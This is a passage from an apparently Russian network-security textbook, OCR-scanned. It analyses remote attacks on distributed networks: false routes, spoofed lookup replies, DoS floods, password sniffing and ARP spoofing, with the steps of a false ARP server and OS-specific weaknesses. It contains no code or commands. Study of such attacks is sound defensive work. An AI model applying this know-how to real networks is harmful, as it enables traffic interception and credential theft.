подвергаться атаке. Основная цель атаки, связанной с навязыванием ложного маршрута, - изменить исходную
маршрутизацию на объекте распределенной ВС так, чтобы новый маршрут проходил через ложный объект -
хост атакующего.

  Реализация типовой угрозы <внедрение в РВС ложного объекта путем навязывания ложного маршрута>
состоит в несанкционированном использовании протоколов управления сетью для изменения исходных таблиц
маршрутизации, для чего атакующему необходимо послать по сети специальные служебные сообщения,
определенные данными протоколами, от имени сетевых управляющих устройств (роутеров), В результате
успешного изменения маршрута атакующий получит полный контроль над потоком информации, которой
обмениваются два объекта распределенной ВС, и атака перейдет во вторую стадию, связанную с приемом,
анализом и передачей сообщений, получаемых от дезинформированных объектов РВС. Методы воздействия на
перехваченную информацию рассмотрены далее.

  Навязывание объекту РВС ложного маршрута - активное воздействие (класс 1.2), совершаемое с любой из
целей класса 2, безусловно по отношению к атакуемому объекту (класс 3.3). Данное типовое воздействие может
осуществляться как внутри одного сегмента (класс 5.1), так и межсегментно (класс 5.2); как с обратной связью
(класс 4.1), так и без обратной связи с атакуемым объектом (класс 4.2) на канальном (класс 6.2), сетевом (класс
6.3) и транспортном (класс 6.4) уровнях модели OSI.

  Для моделирования реализации данной угрозы воспользуемся разработанной моделью взаимодействия
объектов РВС в проекции на канальный и сетевой уровни модели OSI.

  На рис. 3.7 показана модель взаимодействия объектов РВС при реализации данной угрозы в проекции на
канальный и сетевой уровни. Поясним ее ниже
Пусть объект Х2 взаимодействует с объектом Хm. На графе это взаимодействие на сетевом уровне показано
двунаправленным ребром ls2m, которое располагается между вершинами Х2 и Xm. Соответственно на
канальном уровне путь между объектами Х2 и Хm проходит через вершины Gm+1 :Gn.


                                          

Рис. 3.7. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы <внедрение в РВС
ложного объекта путем навязывания ложного маршрута> в проекции на канальный и сетевой уровни модели

                                       0S1


  Пусть с объекта Х1 осуществляется реализация данной угрозы, то есть объект Х1 передает на X2, сетевое
управляющее сообщение от имени роутера - объекта Gm+1, (ребро lsm+12), где объявляет себя роутером Gm+1.

  Тогда далее граф взаимодействия объектов РВС изменяется следующим образом: исчезает линия связи
канального уровня ks2m+1, соединяющая объекты Х2 и Gm+1 и появляется линия связи ks2m+1, которая теперь
соединяет объекты X2 и Х1 (объект X1 воспринимается объектом X2. как роутер Gm+1). Соответственно на
канальном уровне путь между Х2 и Xm, проходит теперь через вершины X1,, Gm+1 ... Gn.

  Таким образом, после реализации типовой угрозы <внедрение в РВС ложного объекта путем навязывания
ложного маршрута> изменяется путь на канальном уровне на графе между объектами Х^ и Х^ добавлением но-
вого транзитного (ложного) объекта X.

  Рассмотрим теперь внедрение в распределенную ВС ложного объекта путем использования недостатков
алгоритмов удаленного поиска.

  Объекты РВС обычно имеют не всю необходимую для адресации сообщений информацию, под которой
понимаются аппаратные (адрес сетевого адаптера) и логические адреса (например, IP-адрес) объектов РВС. Для
получения подобной информации в распределенных ВС используются различные алгоритмы удаленного поиска
(название авторское, и на сегодняшний день оно еще не является общеупотребительным), заключающиеся в
передаче по сети специального вида поисковых запросов и в ожидании ответов на них. Полученных таким
образом сведений об искомом объекте запросившему субъекту РВС достаточно для последующей адресации к
нему. Примером сообщений, на которых базируются алгоритмы удаленного поиска, могут служить SAP-запрос
в ОС Novell NetWare [II], а также ARP- и DNS-запросы в Internet.

  Существуют два типа поисковых запросов: широковещательный и направленный. Широковещательный
поисковый запрос получают все объекты в Сети, но только искомый объект отсылает в ответ нужную информа-
цию, Поэтому, чтобы избежать перегрузки Сети, подобный механизм запросов используется обычно внутри
одного сетевого сегмента, если не хватает информации для адресации на канальном уровне OSI. Направленный
поисковый запрос передается на один (или несколько) специально выделенный для обработки подобных
запросов сетевой объект (например, DNS-сервер) и применяется при межсегментном поиске в том случае, когда
не хватает информации для адресации на сетевом уровне OSI,
При использовании распределенной ВС механизмов удаленного поиска реализация данной типовой угрозы
состоит в перехвате поискового запроса и передаче в ответ на него ложного сообщения, где указываются
данные, использование которых приведет к адресации на атакующий ложный объект. Таким образом, в
дальнейшем весь поток информации между субъектом и объектом взаимодействия будет проходить через
ложный объект РВС.

  Другой вариант реализации данной угрозы состоит в периодической передаче^ на атакуемый объект заранее
подготовленного ложного ответа без приема поискового запроса. Действительно, для того чтобы послать лож-
ный ответ, кракеру не всегда нужно дожидаться приема запроса. Взломщик может спровоцировать атакуемый
объект на передачу поискового сообщения, обеспечив тем самым успех своему ложному ответу. Данная
типовая удаленная атака характерна для глобальных сетей, когда атакующий и его цель находятся в разных
сегментах и возможности перехватить поисковый запрос не существует.

  Ложный объект РВС - активное воздействие (класс 1.2), совершаемое с целью нарушения
конфиденциальности (класс 2.1)и целостности информации (класс 2.2), которое может являться атакой по
запросу от атакуемого объекта (класс 3.1), а также безусловной атакой (класс 3.3). Данное удаленное
воздействие является как внутрисегментным (класс 5.1), так и межсегментным (класс 5.2), имеет обратную
связь с атакуемым объектом (класс 4.1)и осуществляется на канальном (класс 6.2), сетевом (класс 6.3) и
транспортном (класс 6,4) уровнях модели OSI.

  Рассмотрим далее модель реализации типовой угрозы при использовании в РВС широковещательного
поискового запроса в проекции на канальный и сетевой уровни модели OSI (рис. 3.8).

  Пусть объекту Х2 нужна информация для адресации к объекту Хk на канальном уровне (объект Хk
находится в том же сегменте, что и объект X2,). Для получения необходимой информации об объекте Хk объект
Х2 использует алгоритм удаленного поиска, реализованный с помощью широковещательного запроса (Zsh2k).

  Тогда объект Х2 передает данный запрос всем объектам в своем сетевом сегменте. Пусть объект X1,,
перехватив данный запрос, выдает себя за искомый объект Хk. Тогда от имени объекта Хk он передает на
объект Х2 ложный ответ Lok2. При этом объект Хk также получит поисковый запрос и тоже ответит объекту X2
(Ok2). В случае если объектом X2, будет воспринят ложный ответ Lok2, то граф взаимодействия объектов РВС
будет изменен следующим образом (условия, при которых

                                         

Рис. 3.8. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы <внедрение в РВС
ложного объекта путем использования недостатков алгоритмов удаленного поиска> (с использованием
широковещательных поисковых запросов) в проекции на канальный и сетевой уровни модели OSI


  объект X2 отдаст предпочтение ложному, а не настоящему ответу, для каждой конкретной системы разные:

  либо ложный ответ должен прийти раньше настоящего, либо чуть позже): объект Х2 будет считать X1 объектом
Хk и на графе появится линия связи канального уровня ksks, соединяющая объекты X1 и Х2 Объект X1 может
быть связан с объектом Хk как линией связи канального уровня ks1k так и линией связи ks2k (в том случае, если
он хочет остаться <прозрачным> и будет при взаимодействии с объектом Хk выдавать себя за объект Х2).

  Таким образом, после реализации данной типовой угрозы изменяется путь на канальном уровне на графе
между объектами Х2 и Хk добавлением нового транзитного (ложного) объекта X1.

  Далее рассмотрим модель реализации типовой угрозы в проекции на канальный и сетевой уровни модели
OSI в случае использования в РВС направленного поискового запроса (рис. 3.9).


                                          

Рис. 3.9. Графовая модель взаимодействия объектов РВС при реализации угрозы <внедрение в РВС ложного
объекта путем использования недостатков алгоритмов удаленного поиска> (с использованием направленных
запросов) в проекции на канальный и сетевой уровни модели OSI


  Пусть объекты Х1 Хk, Хm-k Хm находятся в разных сегментах (k < М). Пусть объект Хk обращается к Хm
при помощи направленного поискового запроса Znkm m-k, чтобы получить недостающую для адресации
информацию об объекте Хm-k. Объект Xm, приняв запрос от Хk, отсылает на него ответ Omk m-k. В свою
очередь атакующий с объекта X1, также передает на Хk от имени Хm ложный ответ Lomk m-k. В случае если
объектом Хk будет воспринят ложный ответ Lomk m-k, то граф взаимодействия объектов РВС изменится
следующим образом: Хk будет считать объект Х1 объектом Хm-k, и на графе появится линия связи сетевого
уровня lsm-kk, соединяющая объекты X1 и Хk. Объект X1 может быть соединен с объектом Хm-k как линией
связи сетевого уровня ls1m-k, так и линией связи lskm-k (в том случае, если он хочет остаться <прозрачным> и
будет при взаимодействии с объектом Хm-k выдавать себя за объект Хk).

  Таким образом, после реализации данной типовой угрозы, изменяется путь на сетевом уровне на графе
между объектами Хk и Хm-kдобавлением нового транзитного (ложного) объекта X1.

  Использование ложного объекта для организации удаленной атаки на
распределенную ВС
Получив контроль над проходящим информационным потоком между объектами, ложный объект РВС
может применять различные методы воздействия на перехваченную информацию. Так как внедрение в
распределенную ВС ложного объекта является целью многих удаленных атак и представляет серьезную угрозу
безопасности РВС в целом, рассмотрим подробно методы воздействия на перехваченную таким объектом
информацию:

  
 селекция потока информации и сохранение ее наложном объекте РВС; ' модификация информации.

  Одной из атак, которую может осуществлять ложный объект РВС, является перехват информации,
передаваемой между субъектом и объектом взаимодействия. Такой перехват возможен из-за того, что при
выполнении некоторых операций над файлами (чтение, копирование и т. д.) содержимое этих файлов
передается по сети, а значит, поступает на ложный объект. Простейший способ реализации перехвата - это
сохранение в файле всех получаемых ложным объектом пакетов обмена. Очевидно, что такой способ
оказывается недостаточно информативным: в пакетах обмена кроме полей данных существуют служебные
поля, не представляющие интереса для атакующего. Следовательно, для того чтобы получить непосредственно
передаваемый файл, необходимо проводить на ложном объекте динамическую семантическую селекцию потока
информации. Одной из особенностей любой системы воздействия, построенной по принципу ложного объекта,
является то, что она способна модифицировать перехваченную информацию. Причем, важно отметить, что это
один из способов, позволяющих программно модифицировать поток информации между объектами РВС с
другого объекта. Ведь для реализации перехвата информации в сети необязательно атаковать распределенную
ВС по схеме <ложный объект>. Эффективней будет атака, осуществляющая анализ сетевого трафика и
позволяющая получать все пакеты, которые проходят по каналу связи, однако, в отличие от удаленной атаки по
схеме <ложный объект>, она неспособна к модификации информации. Рассмотрим два вида модификации
информации:

  
 модификация передаваемых данных;

 модификация передаваемого кода.

  Модификация передаваемых данных
Одна из функций, которой может обладать система воздействия, построенная по принципу <ложный
объект>, - модификация передаваемых данных. В результате селекции потока перехваченной информации и его
анализа система может распознавать тип передаваемых файлов (исполняемый или текстовый). Поэтому в
случае обнаружения текстового файла или файла данных появляется возможность модифицировать проходящие
через ложный объект данные. Особую угрозу эта функция представляет для сетей обработки конфиденциальной
информации.

  Модификация передаваемого кода
Другим видом модификации может быть модификация передаваемого кода. Проводя семантический анализ
перехваченной информации, ложный объект способен выделять из потока данных исполняемый код. Известный
принцип неймановской архитектуры гласит, что не существует различий между данными и командами.

  Следовательно, чтобы выяснить, код или данные передаются по сети, необходимо использовать некоторые осо-
бенности, свойственные реализации сетевого обмена в конкретной РВС или присущие конкретным типам
исполняемых файлов в данной локальной операционной системе.

  Представляется возможным выделить два различных по цели вида модификации кода:

  
 внедрение разрушающих программных средств (РПС); 
 изменение логики работы исполняемого файла.

  В первом случае при внедрении РПС исполняемый файл модифициру-ется по вирусной технологии, то есть
к нему одним из известных способов Дописывается тело РЦС, и точка входа изменяется таким образом, чтобы
Она указывала на начало кода внедренного воздействия. Описанный спо-соб практически ничем не отличается
от стандартного заражения вирусом, за исключением того, что файл оказывается зараженным вирусом или РПС
в момент передачи его по сети. Такое возможно только при использовании системы воздействия, построенной
по принципу <ложный объект>. Конк-ретный вид разрушающих программных средств, их цели и задачи в
данном случае не имеют значения, но можно рассмотреть, например, ва-риант использования ложного объекта
для создания сетевого червя (наиболее сложного на практике удаленного воздействия в сетях) или в качестве
РПС использовать анализаторы сетевого трафика (  сниферы   - от англ. ). Во втором случае происходит
модификация исполняемого кода с целью изменения логики его работы. Данное воздействие требует пред-
варительного исследования работы исполняемого файла и может принес-ти.самые неожиданные результаты.

  Так, при запуске на сервере (например, в ОС Novell NetWare) программы идентификации пользователей распре-
деленной базы данных ложный объект способен модифицировать код этой программы таким образом, что
появится возможность беспарольного входа в базу данных с наивысшими привилегиями.

  Подмена информации
Ложный объект позволяет не только модифицировать, но и подменять перехваченную им информацию.

  Если модификация приводит к частичному искажению информации, то подмена - к ее полному изменению. При
возникновении в сети определенного контролируемого ложным объектом события одному из участников
обмена посылается заранее подготовленная дезинформация, которая может быть воспринята им либо как
исполняемый код, либо как данные. Рассмотрим пример дезинформации подобного рода.

  Предположим, что ложный объект контролирует подключение пользователя к серверу. В этом случае
взломщик ожидает, например, запуска соответствующей программы входа в систему. Если такая программа
находится на сервере, то при ее запуске исполняемый файл передается на рабочую станцию (например, в случае
загрузки бездисковой рабочей станции в ОС Novell NetWare). Вместо того, чтобы выполнить данное действие,
ложный объект передает на рабочую станцию код заранее написанной специальной программы - захватчика
паролей. Эта программа выполняет те же действия, что и настоящая программа входа в систему, например зап-
рашивает имя и пароль пользователя, после чего полученные сведения посылаются на ложный объект, а
пользователю выводится сообщение об ошибке. При этом пользователь, предположив, что он неправильно ввел
пароль (пароль обычно не отображается на экране), снова запустит программу подключения к системе (на этот
раз настоящую) и со второго раза получит доступ. Результат такой атаки - имя и пароль пользователя, сохра-
ненные на ложном объекте.

  Отказ в обслуживании
Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на каждом из объектов
распределенной ВС, является обеспечение надежного удаленного доступа к данному объекту с любого объекта
сети: каждый субъект (пользователь) системы должен иметь возможность подключиться к любому объекту РВС
и получить в соответствии со своими правами удаленный доступ к его ресурсам. Обычно в вычислительных
сетях такая возможность реализуется следующим образом: на объекте РВС в сетевой ОС запускается ряд
программ-серверов, входящих в состав телекоммуникационных служб предоставления удаленного сервиса
(например, FTP-сервер, WWW-сервер и т. д.). Задача сервера - находясь в памяти операционной системы
объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. При получении
подобного сообщения сервер должен по возможности передать запросившему ответ, разрешая подключение
или нс разрешая. По аналогичной схеме происходит создание виртуального канала связи, по которому обычно
взаимодействуют объекты РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие
извне запросы на создание виртуального канала (ВК) и передает их в соответствии с идентификатором запроса
(порт или сокет) прикладному процессу, которым является соответствующий сервер.

  Очевидно, что сетевая операционная система способна поддерживать ограниченное число открытых
виртуальных соединений, а также отвечать на ограниченное число запросов (ограничена длина очереди
запросов на подключение, тайм-аут очистки очереди и число одновременно открытых соединений). Эти
ограничения устанавливаются индивидуально для каждой сетевой ОС. Основная проблема, возникающая в
таком случае, состоит в том, что при отсутствии статической ключевой информации в РВС -идентификация
запроса возможна только по адресу его отправителя. Если в распределенной ВС не предусмотрено средств
аутентификации адреса отправителя, то есть инфраструктура РВС позволяет с какого-либо объекта системы
передавать на атакуемый объект бесконечное число анонимных запросов на подключение от имени других
объектов (тем самым переполняя очередь запросов), числом на несколько порядков меньше пропускной
способности канала (направленный   мини  -шторм), то это и будет реализацией типовой угрозы безопасности
РВС <отказ в обслуживании> (denial of service - DoS). Результат такой реализации - нарушение на атакованном
объекте работоспособности соответствующей службы предоставления удаленного сервиса, то есть
невозможность получения удаленного доступа с других объектов РВС из-за переполнения очереди (буфера)
запросов.

  Суть второй разновидности реализации этой типовой угрозы заключена в передаче с одного адреса стольких
запросов на атакуемый объект, сколько позволит пропускная способность канала передачи (направленный
шторм запросов; от англ.  - наводнение). Если в системе не предусмотрено ограничение числа
принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может быть
нарушение работы системы от возможного переполнения очереди запросов и отказа одной из
телекоммуникационных служб, вплоть до полной остановки компьютера из-за того, что система не может
заниматься ничем другим, кроме обработки запросов,
Типовая удаленная атака <отказ в обслуживании> является активным воздействием (класс 1.2),
осуществляемым с целью нарушения работоспособности системы (класс 2.3), относительно объекта атаки
(класс 3.3). Данная атака является однонаправленным (класс 4.2) внутрисегментным (класс 5.1) или
межсегментным воздействием (класс 5.2), осуществляемым на канальном (класс 6.2), сетевом (класс 6.3),
транспортном (класс 6.4) и прикладном (класс 6.7) уровнях модели OSI.

  Для моделирования механизмов реализации данной типовой угрозы воспользуемся графовой моделью
взаимодействия объектов РВС в проекции на канальный и сетевой уровни модели OSI (рис. 3.10).

  Пусть объект Хk взаимодействует с объектом Хm. Пусть с объекта X1 осуществляется данное воздействие с
целью нарушить работоспособность объекта Хk. Тогда с объекта Х1 осуществляется направленный шторм (или
  мини  -шторм) запросов на объект Хk от имени любых объектов в сети (lsxik). Если атака достигла цели, на
сетевом уровне нарушается взаимодействие объекта Хk с объектом Xm, а на канальном уровне может
нарушиться взаимодействие Хk с ближайшим роутсром Gm+k Следовательно, на графе взаимодействия
объектов РВС пропадают однонанравленные линии связи lskm и lskm+k

                                         


                                         

Рис. 3.10. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы <отказ в
обслуживании> в проекции на канальный и сетевой уровни модели 0S1



                                      ГЛАВА 4



                         УДАЛЕННЫЕ АТАКИ НА ХОСТЫ INTERNET

Многое Наша Земля повидала, Но не видала Такого скандала!

  б. Заходер. География всмятку
Анализ сетевого графика Internet
В Internet базовыми протоколами удаленного доступа являются TELNET и FTP (File Transfer Protocol).

  TELNET - это протокол виртуального терминала (ВТ), позволяющий с удаленных хостов подключаться к
серверам Internet в режиме ВТ. FTP - протокол, предназначенный для передачи файлов между удаленными
хостами. Для получения доступа к серверу по данным протоколам пользователю необходимо пройти процедуры
идентификации и аутентификации. В качестве информации, идентифицирующей пользователя, выступает его
имя, а для аутентификации используется пароль. Особенностью протоколов FTP и TELNET является то, что
пароли и идентификаторы пользователей передаются по сети в открытом, незашифрованном виде. Таким
образом, необходимым и достаточным условием для получения удаленного доступа к хостам по протоколам
FTP и TELNET являются имя и пароль пользователя.

  Одним из способов получения таких паролей и идентификаторов в Internet является анализ сетевого
трафика. Этот анализ осуществляется с помощью специальной программы-анализатора пакетов (sniffer), пере-
хватывающей все пакеты, передаваемые по сегменту сети, и выделяющей среди них те, в которых передаются
идентификатор пользователя и его пароль. Сетевой анализ протоколов FTP и TELNET показывает, что TELNET
разбивает пароль на символы и пересылает их по одному, помещая каждый символ пароля в соответствующий
пакет, a FTP, напротив, пересылает пароль целиком в одном пакете.


                                          

Рис. 4. /. Схема осуществления анализа сетевого трафика
У внимательного читателя, наверное, уже возник вопрос, почему разработчики базовых прикладных
протоколов Internet не предусмотрели возможностей шифрования передаваемых по сети паролей пользователей.

  Даже во всеми критикуемой сетевой ОС Novell NetWare 3.12 пароли пользователей никогда не передаются по
сети в открытом виде (правда, указанная функция этой ОС не особенно помогает [II]). Видимо, проблема в том,
что базовые прикладные протоколы семейства TCP/IP разрабатывались очень давно, в период с конца 60-х до
начала 80-х годов, и с тех пор абсолютно не изменились. При этом точка зрения на построение глобальных
сетей стала иной. Инфраструктура Сети и ее протоколы разрабатывались исходя, в основном, из соображений
надежности связи, но не из соображений безопасности. Мы, пользователи Internet, вынуждены сейчас прибегать
к услугам этой устаревшей с точки зрения защищенности глобальной сети. Совершенно очевидно, что
вычислительные системы за эти годы сделали колоссальный скачок в своем развитии, существенно изменился и
подход к обеспечению информационной безопасности распределенных ВС. Были разработаны различные
протоколы обмена, позволяющие защитить сетевое соединение н зашифровать трафик (например, протоколы
SSL, SKIP и т. п.). Однако новые протоколы не сменили устаревшие и не стали стандартом для каждого
пользователя (за исключением, может быть, SSL, да и то лишь применительно к некоторым Web-транзакциям).

  К сожалению, процесс перехода на эти протоколы может длиться еще многие годы, так как в Internet
централизованное управление сетью отсутствует. А на сегодняшний день подавляющее большинство
пользователей продолжают работать со стандартными протоколами семейства TCP/IP, разработанными
более 15 лет назад. В результате, как показывают сообщения американских центров по компьютерной
безопасности (CERT, С1АС), в последние годы анализ сетевого трафика в сети Internet успешно применяется
кракерами, и, согласно материалам специального комитета при конгрессе США, с его помощью в 1993-1994
годах было перехвачено около миллиона паролей для доступа в различные информационные системы.


  Ложный ARP-сервер в сети Internet
Как уже неоднократно подчеркивалось, в вычислительных сетях связь между двумя удаленными хостами
осуществляется путем передачи по сети сообщений, которые заключены в пакеты обмена. Как правило, такой
пакет независимо от используемого протокола и типа сети (Token Ring, Ethernet, X.25 и др.) состоит из
заголовка и поля данных. В заголовок пакета обычно заносится служебная информация, необходимая для
адресации пакета, его идентификации, преобразования и т. д.; такая информация определяется используемым
протоколом обмена. В поле данных помещаются либо непосредственно данные, либо другой пакет более
высокого уровня OSI. Так, например, пакет транспортного уровня может быть по-. мещен в пакет сетевого
уровня, а тот, в свою очередь, вложен в пакет канального уровня. Спроецировав это утверждение на сетевую
ОС, использующую протоколы TCP/IP, можно утверждать, что пакет TCP (транспортный уровень) помещен в
пакет IP (сетевой уровень), вложенный в пакет Ethernet (канальный уровень). Структура TCP-пакета в Internet
выглядит следующим образом:

  1. Заголовок Ethernet.

  2. Заголовок IP.

  3. Заголовок TCP.

  4. Данные.

  Иерархия протоколов сети Internet в проекции на модель OSI приведена на рис. 4.2.

  Данный рисунок требует некоторого уточнения. Здесь показано, на каких протоколах (TCP или UDP)
обычно - по умолчанию - реализованы прикладные службы. Но это отнюдь не означает, что не существует,
например, реализаций FTP на базе UDP - в стандартном файле /etc/services в ОС FreeBSD дается перечень
возможных реализаций прикладных служб как па основе протокола TCP, так и протокола UDP.


                                          

Рис. 4.2. Иерархия протоколов сети Internet в проекции на модель OSI
Рассмотрим схему адресации пакетов в Internet и возникающие при этом проблемы безопасности. Как
известно, базовым сетевым протоколом обмена в Internet является протокол IP (Internet Protocol). Протокол IP -
это межсетевой протокол, позволяющий передавать IP-пакеты в любую точку сети. Для адресации на сетевом
уровне (IP-уровне) в Internet каждый хост имеет уникальный 32-разрядный IP-адрес. Для передачи IP-пакета на
хост в IP-заголовке пакета в поле Destination Address необходимо указать IP-адрес данного хоста. Однако, как
видно из структуры TCP-пакета, IP-пакет находится внутри аппаратного пакета (если среда передачи - Ethernet,
IP-пакет находится внутри Ethernet-пакета), поэтому каждый пакет в сетях любого типа и с любыми
протоколами обмена в конечном счете посылается на аппаратный адрес сетевого адаптера, непосредственно
осуществляющего прием и передачу пакетов в сети (в дальнейшем мы будем рассматривать только Ethernet-
сети).

  Из всего вышесказанного следует, что для адресации IP-пакетов в Internet кроме IP-адреса хоста необходим
еще либо Ethernet-адрес его
сетевого адаптера (в случае адресации внутри одной подсети), либо Ethernet-адрес маршрутизатора (в случае
межсетевой адресации). Первоначально хост может не иметь информации о Ethernet-адресах других хостов,
находящихся с ним в одном сегменте, в том числе и о Ethernet-адресе маршрутизатора. Следовательно, хост
должен найти эти адреса, применяя алгоритмы удаленного поиска (о них мы говорили в главе 3). В сети Internet
для решения этой задачи используется протокол ARP (Address Resolution Protocol), который позволяет получить
взаимно однозначное соответствие IP- и Ethernet-адресов для хостов, находящихся внутри одного сегмента. Это
достигается следующим образом; при первом обращении к сетевым ресурсам хост отправляет
широковещательный ARP-запрос на Ethernet-адрес FFFFFFFFFFFFh, где указывает IP-адрес маршрутизатора и
просит сообщить его Ethernet-адрес (IP-адрес маршрутизатора является обязательным параметром, который
всегда устанавливается вручную при настройке любой сетевой ОС в Internet). Этот широковещательный запрос
получат все станции в данном сегменте сети, в том числе и маршрутизатор. Получив такой запрос,
маршрутизатор внесет запись о запросившем хосте в свою ARP-таблицу, а затем отправит ARP-ответ, в котором
сообщит свой Ethernet-адрес. Полученный в ARP-ответе Ethernet-адрес будет занесенв ARP-таблицу,
находящуюся в памяти операционной системы на запросившем хосте и содержащую записи соответствия IP- и
Ethernet-адресов для хостов внутри одного сегмента. Отметим, что в случае адресации к хосту, расположенному
в той же подсети, также используется ARP-протокол, и рассмотренная выше схема полностью повторяется. Как
указывалось ранее, при использовании в распределенной ВС алгоритмов удаленного поиска существует
возможность осуществления в такой сети типовой удаленной атаки <ложный объект РВС>. Анализ
безопасности протокола ARP показывает, что, перехватив на атакующем хосте внутри данного сегмента сети
широковещательный ARP-запрос, можно послать ложный ARP-ответ, в котором объявить себя искомым хостом
(например, маршрутизатором), и в дальнейшем активно контролировать сетевой трафик дезинформированного
хоста, воздействуя на него по схеме <ложный объект РВС>.

  Рассмотрим обобщенную функциональную схему ложного ARP-серве-ра (рис. 4.3):

  1. Ожидание ARP-запроса.

  2. При получении такого запроса - передача по сети на запросивший хост ложного ARP-ответа, где
указывается адрес сетевого адаптера атакующей станции (ложного ARP-сервера) или тот Ethernet-адрес, на
котором будет принимать пакеты ложный ARP-сервер. Совершенно необязательно указывать в ложном ARP-
ответе свой настоящий Ethernet-адрес, так как при работе непосредственно с сетевым адаптером его можно зап-
рограммировать на прием пакетов на любой Ethernet-адрес.

  3. Прием, анализ, воздействие на пакеты обмена и передача их между взаимодействующими хостами.


  Рис. 4.3. Ложный ARP-сервер


  Данная схема атаки требует некоторого уточнения. На практике мы столкнулись с тем, что даже очень
квалифицированные сетевые администраторы и программисты часто не знают или не понимают тонкостей ра-
боты протокола ARP. При обычной настройке сетевой ОС, поддерживающей протоколы TCP/IP, не требуется
настройка модуля ARP (нам не встречалось ни одной сетевой ОС, где нужно было бы создавать ARP-таб-лицу
<вручную>), поэтому протокол ARP остается как бы <прозрачным> для администраторов. Необходимо обратить
внимание и на тот факт, что у маршрутизатора тоже имеется ARP-таблица, в которой содержится информация
об IP- и соответствующих им Ethernet-адресах всех хостов из сегмента сети, подключенного к маршрутизатору.

  Информация в эту таблицу на маршрутизаторе также обычно заносится не вручную, а при помощи протокола
ARP. Именно поэтому так легко в одном сегменте IP-сети присвоить чужой IP-адрес: выдать команду сетевой
ОС на установку нового IP-адреса, потом обратиться в сеть - сразу же будет послан широковещательный ARP-
запрос, и маршрутизатор, получив такое сообщение, автоматически обновит запись в своей ARP-таблице
(поставит Ehternet-адрес вашей сетевой карты в соответствие с чужим IP-адресом), в результате чего обладатель
данного IP-адреса потеряет связь с внешним миром (все пакеты, адресуемые на его бывший IP-адрес и
приходящие на маршрутизатор, будут направляться им на Ethernet-адрес атакующего). Правда, некоторые ОС
анализируют все передаваемые по сети широковещательные ARP-запросы. Например, ОС Windows 95 или
SunOS 5.3 при получении ARP-запроса с указанным в нем IP-адресом, совпадающим с IP-адресом данной
системы, выдают предупреждающее сообщение о том, что хост с таким-то Ethernet-адресом пытается присвоить
себе (естественно, успешно) данный IP-адрес.

  Из анализа механизмов адресации, описанных выше, становится ясно: так как поисковый ARP-запрос кроме
атакующего получит и маршрутизатор, то в его таблице окажется соответствующая запись об IP- и Ethernet-
адресе атакуемого хоста. Следовательно, когда на маршрутизатор придет пакет, направленный на IP-адрес
атакуемого хоста, он будет передан не на ложный ARP-ссрвер, а непосредственно на хост. При этом схема
передачи пакетов в этом случае будет следующая:

  1. Атакованный хост передает пакеты на ложный ARP-сервер.

  2. Ложный ARP-сервер посылает принятые от атакованного хоста пакеты на маршрутизатор.

  3. Маршрутизатор, в случае получения ответа на запрос, адресует его непосредственно на атакованный хост,
минуя ложный ARP-сервер.

  В этом случае последняя фаза, связанная с приемом, анализом, воздействием на пакеты обмена и передачей
их между атакованным хостом и, например, маршрутизатором (или любым другим хостом в том же сегменте)
будет проходить уже не в режиме полного перехвата пакетов ложным сервером (мостовая схема), а в режиме
<полуперехвата> (петлевая схема). Действительно, в режиме полного перехвата маршрут всех пакетов,
отправляемых как в одну, так и в другую сторону, обязательно проходит через ложный сервер (мост); в режиме
<полуперехвата> маршрут пакетов образует петлю (рис. 4.4). Петлевой маршрут может возникнуть и при
рассмотренной ниже атаке на базе протоколов DNS и 1СМР.


                                          

Рис. 4.4. Петлевая схема перехвата информации ложным ARP-сервером
Однако придумать несколько способов, позволяющих ложному ARP-серверу функционировать по мостовой
схеме перехвата (полный перехват), довольно просто. Например, получив ARP-запрос, можно самому послать
такое же сообщение и присвоить себе данный IP-адрес (правда, в этом случае ложному ARP-серверу не удастся
остаться незамеченным: некоторые сетевые ОС, например Windows 95 и SunOS 5.3, перехватив такой запрос,
выдадут предупреждение об использовании их IP-адреса). Другой, значительно более удобный способ - послать
ARP-запрос, указав в качестве своего IP-адреса любой свободный в данном сегменте IP-адрес, и в дальнейшем
вести работу с данного IP-адреса как с маршрутизатором, так и с <обманутыми> хостами (кстати, это типичная
proxy-схема).

  Заканчивая рассказ об уязвимостях протокола ARP, покажем, как различные сетевые ОС используют этот
протокол для изменения информации в своих ARP-таблицах.

  Исследования различных сетевых ОС выявили, что в ОС Linux при адресации к хосту, находящемуся в
одной подсети с данным хостом, ARP-запрос передается, если в ARP-таблице отсутствует соответствующая
запись
о Ethernet-адресе, и при последующих обращениях к данному хосту ARP-запрос не посылается. В SunOS 5.3
при каждом новом обращении к хосту (в том случае, если в течение некоторого времени обращения не было)
происходит передача ARP-запроса, и, следовательно, ARP-таблица динамически обновляется. ОС Windows 95
при обращении к хостам, с точки зрения использования протокола ARP, ведет себя почти так же, как и ОС
Linux, за исключением того, что периодически (каждую минуту) посылает ARP-запрос о Ethernet-адресе
маршрутизатора; в результате в течение нескольких минут вся локальная сеть с Windows 95 без труда берется
под контроль ложным ARP-сервером. ОС Windows NT 4.0 также использует динамически изменяемую ARP-
таблицу, и ARP-запросы о Ethernet-адресе маршрутизатора передаются каждые 5 минут.

  Особый интерес вызвал следующий вопрос: можно ли осуществить данную удаленную атаку на UNIX-
совместимую ОС CX/LAN/SX, защищенную по классу В1 (мандатная и дискретная сетевая политики
разграничения доступа плюс специальная схема функционирования SUID/SGID процессов), установленную на
двухпроцессорной   мини  -ЭВМ? Эта система является одним из лучших в мире полнофункциональных
межсетевых экранов (МЭ) CyberGuard 3.0 (мы тестировали этого <монстра> в 1996 году). В процессе анализа
защищенности этого МЭ относительно удаленных воздействий, осуществляемых по каналам связи, выяснилось,
что в случае базовой (после всех стандартных настроек) конфигурации ОС защищенная UNIX-система также
поражается ложным ARP-сервером (что, в общем, было вполне ожидаемым).

  В заключение отметим, что, во-первых, причина успеха данной удаленной атаки кроется не столько в
Internet, сколько в широковещательной среде Ethernet, а во-вторых, эта атака является внутрисегментной и
представляет для вас угрозу только в том случае, если атакующий находится внутри вашего сегмента сети.

  Однако нс стоит полагать, что из-за этого атака не представляет опасности, так как по статистике нарушений
информационной безопасности вычислительных сетей известно, что большинство состоявшихся взломов
производилось именно собственными сотрудникам компаний. Причины понятны: осуществить
внутрисегментную удаленную атаку значительно легче, чем межсегментную. Кроме того, практически все
